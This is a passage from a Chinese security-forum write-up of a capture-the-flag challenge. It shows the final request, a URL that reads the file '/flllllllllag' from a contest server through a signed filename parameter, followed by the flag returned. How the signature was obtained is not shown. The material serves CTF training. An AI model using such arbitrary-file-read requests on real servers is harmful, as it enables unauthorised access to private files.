http://49.4.78.81:30980/file?filename=/flllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960
```

得到

```
flag{67a3d3dec827645c1c92d1f2160c744f}
```


上一篇：2018护网杯线上赛 Writeu... 下一篇：通过拆分攻击实现的SSRF攻击
1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

---

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板